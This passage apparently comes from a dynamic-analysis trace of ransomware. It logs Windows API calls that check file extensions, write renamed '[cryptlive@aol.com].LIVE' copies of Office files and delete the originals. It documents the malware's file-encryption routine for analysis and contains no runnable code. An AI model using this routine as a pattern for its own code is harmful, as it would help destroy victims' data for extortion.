(lpString=".docx") returned 5 [0140.488] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0140.488] lstrlenW (lpString=".pdf") returned 4 [0140.488] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0140.488] lstrlenW (lpString=".xls") returned 4 [0140.488] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0140.488] lstrlenW (lpString=".xlsx") returned 5 [0140.488] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0140.488] lstrlenW (lpString=".ppt") returned 4 [0140.488] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0140.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.488] lstrlenW (lpString=".zip") returned 4 [0140.488] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0140.488] lstrlenW (lpString=".rar") returned 4 [0140.488] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0140.488] lstrlenW (lpString=".bz2") returned 4 [0140.488] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0140.488] lstrlenW (lpString=".7z") returned 3 [0140.489] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0140.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.489] lstrlenW (lpString=".dbf") returned 4 [0140.489] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0140.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.489] lstrlenW (lpString=".1cd") returned 4 [0140.489] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0140.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXPTOOWS.DLL") returned 60 [0140.489] lstrlenW (lpString=".jpg") returned 4 [0140.489] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0140.489] lstrcmpiW (lpString1=".HXC", lpString2=".LIVE") returned -1 [0140.489] lstrlenW (lpString="GRAPH_COL.HXC") returned 13 [0140.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0140.706] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=621) returned 1 [0140.706] CloseHandle (hObject=0x1fc) returned 1 [0140.706] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 0x20 [0140.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0140.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0140.752] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.752] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0140.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0141.229] GetLastError () returned 0x0 [0141.229] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x26d, lpOverlapped=0x0) returned 1 [0141.233] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x270, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x270, lpOverlapped=0x0) returned 1 [0141.234] ReadFile (in: hFile=0x3a8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.234] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0141.234] SetEndOfFile (hFile=0x3a4) returned 1 [0141.234] CloseHandle (hObject=0x3a4) returned 1 [0141.235] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.235] SetEndOfFile (hFile=0x3a8) returned 1 [0141.237] CloseHandle (hObject=0x3a8) returned 1 [0141.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.237] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxc")) returned 1 [0141.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.238] lstrlenW (lpString=".doc") returned 4 [0141.238] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0141.238] lstrlenW (lpString=".docx") returned 5 [0141.238] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0141.238] lstrlenW (lpString=".pdf") returned 4 [0141.238] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0141.238] lstrlenW (lpString=".xls") returned 4 [0141.238] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0141.238] lstrlenW (lpString=".xlsx") returned 5 [0141.238] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0141.238] lstrlenW (lpString=".ppt") returned 4 [0141.238] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0141.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.238] lstrlenW (lpString=".zip") returned 4 [0141.238] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0141.238] lstrlenW (lpString=".rar") returned 4 [0141.238] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0141.238] lstrlenW (lpString=".bz2") returned 4 [0141.238] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0141.238] lstrlenW (lpString=".7z") returned 3 [0141.238] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0141.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.238] lstrlenW (lpString=".dbf") returned 4 [0141.238] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0141.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.238] lstrlenW (lpString=".1cd") returned 4 [0141.238] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0141.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.239] lstrlenW (lpString=".jpg") returned 4 [0141.239] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0141.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.239] lstrlenW (lpString=".doc") returned 4 [0141.239] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0141.239] lstrlenW (lpString=".docx") returned 5 [0141.239] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0141.239] lstrlenW (lpString=".pdf") returned 4 [0141.239] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0141.239] lstrlenW (lpString=".xls") returned 4 [0141.239] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0141.239] lstrlenW (lpString=".xlsx") returned 5 [0141.239] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0141.239] lstrlenW (lpString=".ppt") returned 4 [0141.239] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0141.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.239] lstrlenW (lpString=".zip") returned 4 [0141.239] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0141.239] lstrlenW (lpString=".rar") returned 4 [0141.239] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0141.239] lstrlenW (lpString=".bz2") returned 4 [0141.239] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0141.239] lstrlenW (lpString=".7z") returned 3 [0141.239] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0141.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.239] lstrlenW (lpString=".dbf") returned 4 [0141.239] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0141.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.239] lstrlenW (lpString=".1cd") returned 4 [0141.239] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0141.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXC") returned 61 [0141.239] lstrlenW (lpString=".jpg") returned 4 [0141.239] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0141.240] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0141.240] lstrlenW (lpString="GRINTL32.REST.IDX_DLL") returned 21 [0141.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.283] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=100224) returned 1 [0141.283] CloseHandle (hObject=0x1f8) returned 1 [0141.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 0x20 [0141.283] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.285] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.285] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0141.285] GetLastError () returned 0x0 [0141.285] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x18780, lpOverlapped=0x0) returned 1 [0141.289] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x18790, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x18790, lpOverlapped=0x0) returned 1 [0141.291] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.291] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0141.291] SetEndOfFile (hFile=0x1dc) returned 1 [0141.291] CloseHandle (hObject=0x1dc) returned 1 [0141.291] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.292] SetEndOfFile (hFile=0x1f8) returned 1 [0141.295] CloseHandle (hObject=0x1f8) returned 1 [0141.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.rest.idx_dll")) returned 1 [0141.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.296] lstrlenW (lpString=".doc") returned 4 [0141.296] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0141.296] lstrlenW (lpString=".docx") returned 5 [0141.296] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0141.296] lstrlenW (lpString=".pdf") returned 4 [0141.296] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0141.296] lstrlenW (lpString=".xls") returned 4 [0141.296] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0141.296] lstrlenW (lpString=".xlsx") returned 5 [0141.296] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0141.296] lstrlenW (lpString=".ppt") returned 4 [0141.296] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0141.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.296] lstrlenW (lpString=".zip") returned 4 [0141.296] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0141.296] lstrlenW (lpString=".rar") returned 4 [0141.296] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0141.296] lstrlenW (lpString=".bz2") returned 4 [0141.297] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString=".7z") returned 3 [0141.297] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0141.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.297] lstrlenW (lpString=".dbf") returned 4 [0141.297] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.297] lstrlenW (lpString=".1cd") returned 4 [0141.297] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.297] lstrlenW (lpString=".jpg") returned 4 [0141.297] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.297] lstrlenW (lpString=".doc") returned 4 [0141.297] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString=".docx") returned 5 [0141.297] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0141.297] lstrlenW (lpString=".pdf") returned 4 [0141.297] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString=".xls") returned 4 [0141.297] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString=".xlsx") returned 5 [0141.297] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0141.297] lstrlenW (lpString=".ppt") returned 4 [0141.297] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.297] lstrlenW (lpString=".zip") returned 4 [0141.297] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString=".rar") returned 4 [0141.297] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString=".bz2") returned 4 [0141.297] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0141.297] lstrlenW (lpString=".7z") returned 3 [0141.297] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0141.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.298] lstrlenW (lpString=".dbf") returned 4 [0141.298] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0141.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.298] lstrlenW (lpString=".1cd") returned 4 [0141.298] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0141.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.REST.IDX_DLL") returned 69 [0141.298] lstrlenW (lpString=".jpg") returned 4 [0141.298] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0141.298] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0141.298] lstrlenW (lpString="GROOVE_F_COL.HXK") returned 16 [0141.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.298] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=111) returned 1 [0141.298] CloseHandle (hObject=0x1f8) returned 1 [0141.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 0x20 [0141.299] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0141.299] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.299] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0141.300] GetLastError () returned 0x0 [0141.300] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x6f, lpOverlapped=0x0) returned 1 [0141.301] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x70, lpOverlapped=0x0) returned 1 [0141.301] ReadFile (in: hFile=0x1f8, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0141.301] WriteFile (in: hFile=0x1dc, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0141.302] SetEndOfFile (hFile=0x1dc) returned 1 [0141.302] CloseHandle (hObject=0x1dc) returned 1 [0141.302] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0141.302] SetEndOfFile (hFile=0x1f8) returned 1 [0141.304] CloseHandle (hObject=0x1f8) returned 1 [0141.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 1 [0141.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.305] lstrlenW (lpString=".doc") returned 4 [0141.305] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0141.305] lstrlenW (lpString=".docx") returned 5 [0141.305] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0141.305] lstrlenW (lpString=".pdf") returned 4 [0141.305] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0141.305] lstrlenW (lpString=".xls") returned 4 [0141.305] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0141.305] lstrlenW (lpString=".xlsx") returned 5 [0141.305] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0141.305] lstrlenW (lpString=".ppt") returned 4 [0141.305] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0141.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.306] lstrlenW (lpString=".zip") returned 4 [0141.306] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0141.306] lstrlenW (lpString=".rar") returned 4 [0141.306] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0141.306] lstrlenW (lpString=".bz2") returned 4 [0141.306] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0141.306] lstrlenW (lpString=".7z") returned 3 [0141.306] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0141.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.306] lstrlenW (lpString=".dbf") returned 4 [0141.306] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0141.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.306] lstrlenW (lpString=".1cd") returned 4 [0141.306] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0141.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.306] lstrlenW (lpString=".jpg") returned 4 [0141.306] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0141.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.306] lstrlenW (lpString=".doc") returned 4 [0141.306] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0141.306] lstrlenW (lpString=".docx") returned 5 [0141.306] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0141.306] lstrlenW (lpString=".pdf") returned 4 [0141.306] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0141.306] lstrlenW (lpString=".xls") returned 4 [0141.306] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0141.306] lstrlenW (lpString=".xlsx") returned 5 [0141.306] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0141.306] lstrlenW (lpString=".ppt") returned 4 [0141.306] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0141.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK") returned 64 [0141.306] lstrlenW (lpString=".zip") returned 4 [0141.306] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0141.306] lstrlenW 